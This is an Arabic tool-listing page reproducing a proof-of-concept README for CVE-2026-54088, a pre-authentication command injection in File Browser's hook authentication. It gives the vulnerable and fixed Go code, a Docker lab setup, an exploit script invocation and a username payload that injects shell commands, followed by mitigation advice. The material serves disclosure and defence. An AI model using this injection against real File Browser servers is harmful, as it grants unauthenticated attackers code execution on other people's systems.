Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-54088-poc — إثبات مفهوم لاستغلال CVE-2026-54088، وهي ثغرة حقن أوامر نظام التشغيل قبل المصادقة في File Browser <=2.63.5. يوضح حقن الأوامر عبر Hook Authentication لتحقيق تنفيذ التعليمات البرمجية عن بُعد. | Kitploit
أدوات/GitHubGitHub/saku0512/cve-2026-54088-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالتعلم والتعليمتطوير الحمولات
GitHubsaku0512/cve-2026-54088-poc

CVE-2026-54088-poc

إثبات مفهوم لاستغلال CVE-2026-54088، وهي ثغرة حقن أوامر نظام التشغيل قبل المصادقة في File Browser <=2.63.5. يوضح حقن الأوامر عبر Hook Authentication لتحقيق تنفيذ التعليمات البرمجية عن بُعد.

عرض المستودع
144منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-54088: حقن الأوامر عبر استبدال القشرة في خطاف المصادقة (RCE قبل المصادقة)

النسخة الإنجليزية

ملخص

هذا المستودع هو إثبات المفهوم (PoC) للثغرة الأمنية الخطيرة لحقن أوامر نظام التشغيل CVE-2026-54088 الموجودة في File Browser الإصدار <= 2.63.5.

توجد هذه الثغرة في ميزة Hook Authentication. عندما يقوم المسؤول بتكوين File Browser لاستخدام أمر خارجي لمصادقة المستخدمين، يتم توسيع username و password المرسلين عند تسجيل الدخول إلى سلسلة الأوامر المكونة بواسطة os.Expand() دون هروبها. يمكن للمهاجم عن بعد غير المصادق حقن بناء جملة شل عبر طلب تسجيل الدخول وتنفيذ أوامر عشوائية قبل نجاح المصادقة.

المكتشف: saku0512 (https://github.com/Saku0512)


إخلاء مسؤولية

هذا المشروع مخصص للأغراض التعليمية واختبارات الأمن الأخلاقية فقط.

المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر أو أنشطة غير قانونية باستخدام هذه الأداة. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذا البرنامج فقط في البيئات التي حصلت فيها على إذن صريح.


تفاصيل الثغرة

  • CVE ID: CVE-2026-54088
  • Advisory: GHSA-m93h-4hw7-5qcm
  • النوع: حقن أوامر نظام التشغيل (CWE-78)
  • التأثير: تنفيذ تعليمات برمجية عن بعد قبل المصادقة (RCE)
  • الإصدارات المتأثرة: File Browser <= 2.63.5
  • الإصدار المُصحَّح: File Browser 2.63.6
  • الملف المتأثر: auth/hook.go
  • الدالة المتأثرة: HookAuth.RunCommand

السبب الجذري

تقوم الدالة HookAuth.RunCommand() بتقسيم أمر المصادقة المُعيّن وتوسيع العناصر النائبة لبيانات الاعتماد باستخدام بيانات الطلب التي يتحكم فيها المهاجم.

envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username
    case "PASSWORD":
        return a.Cred.Password
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 {
        continue
    }
    command[i] = os.Expand(arg, envMapping)
}

إذا تم ضبط أمر الخطاف على النحو التالي:

sh -c $USERNAME

عندما يرسل المهاجم اسم مستخدم مثل:

touch /tmp/fb_hook_auth_pwned; echo hook.action=block

أثناء محاولة تسجيل الدخول، ينفذ الخادم نص شل يتحكم فيه المهاجم. ليست هناك حاجة لحساب أو كلمة مرور صالحة.

الإصلاح

تم إصلاح هذه المشكلة في الـ commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f عن طريق إزالة استبدال بيانات الاعتماد من سلسلة أمر الخطاف. يتم تنفيذ أمر الخطاف كما هو مُكوّن، ويتم تمرير بيانات الاعتماد فقط كمتغيرات بيئة.

command := strings.Split(a.Command, " ")

cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))

المعالجة الضعيفة التي تمت إزالتها هي حلقة os.Expand() التي كانت تعيد كتابة وسائط الأوامر ببيانات الاعتماد التي يتحكم فيها المهاجم قبل استدعاء exec.Command(). يتضمن هذا الإصلاح أيضًا اختبارات انحدار للتحقق من أن بيانات الاعتماد المحقونة لا يمكنها تعديل أمر الخطاف، وأن USERNAME / PASSWORD لا تزال متاحة للخطاف عبر متغيرات البيئة.


إثبات المفهوم (طريقة الاستخدام)

1. إعداد البيئة

قم بتشغيل بيئة File Browser الضعيفة. خدمة filebrowser-init تنشئ قاعدة البيانات وتمكن Hook Authentication باستخدام أمر ضعيف.

docker compose up -d

الهدف متاح على الرابط التالي:

http://localhost:8080

2. تشغيل الإكسبلويت

قم بتشغيل سكريبت الإكسبلويت من هذا الدليل.

python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"

يرسل هذا الإكسبلويت طلب تسجيل دخول غير مصادق واحد إلى /api/login. من المتوقع أن تفشل المصادقة، ولكن يتم تنفيذ الأمر المحقون قبل ذلك.

3. التأكيد عبر الواجهة الرسومية

افتح شاشة تسجيل الدخول الخاصة بـ File Browser في المتصفح.

http://localhost:8080

أدخل القيم التالية في نموذج تسجيل الدخول، ثم انقر على زر تسجيل الدخول.

Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything

سيفشل تسجيل الدخول، ولكن تنفيذ أمر Hook Authentication يحدث قبل إرجاع نتيجة المصادقة. تحقق من إنشاء ملف العلامة في الحاوية من خلال عملية الواجهة الرسومية باستخدام الأمر التالي:

docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned

إذا كان الملف موجودًا، فهذا يؤكد أن RCE قبل المصادقة قد حدث أيضًا من عملية تسجيل الدخول عبر الواجهة الرسومية.

4. التحقق من إثبات المفهوم عبر سطر الأوامر

تحقق من تنفيذ الأمر داخل حاوية File Browser:

docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned

إذا كان الملف موجودًا، فهذا يؤكد RCE قبل المصادقة.

5. التنظيف

docker compose down -v

الإجراءات الوقائية

قم بتحديث File Browser إلى الإصدار 2.63.6 أو أحدث.

لا تقم بتضمين بيانات الاعتماد في سلسلة أوامر القشرة، بل مررها إلى أمر الخطاف فقط كمتغيرات بيئة. بالنسبة لمسارات تنفيذ الأوامر الأخرى، تجنب تقييم القشرة أو قم بفصل الوسائط وهروبها بشكل صارم.


معلومات مرجعية

  • File Browser GitHub Repository
  • File Browser v2.63.5 vulnerable implementation
  • Fix commit: remove undocumented hook auth with shell replacement
تنزيل الأداة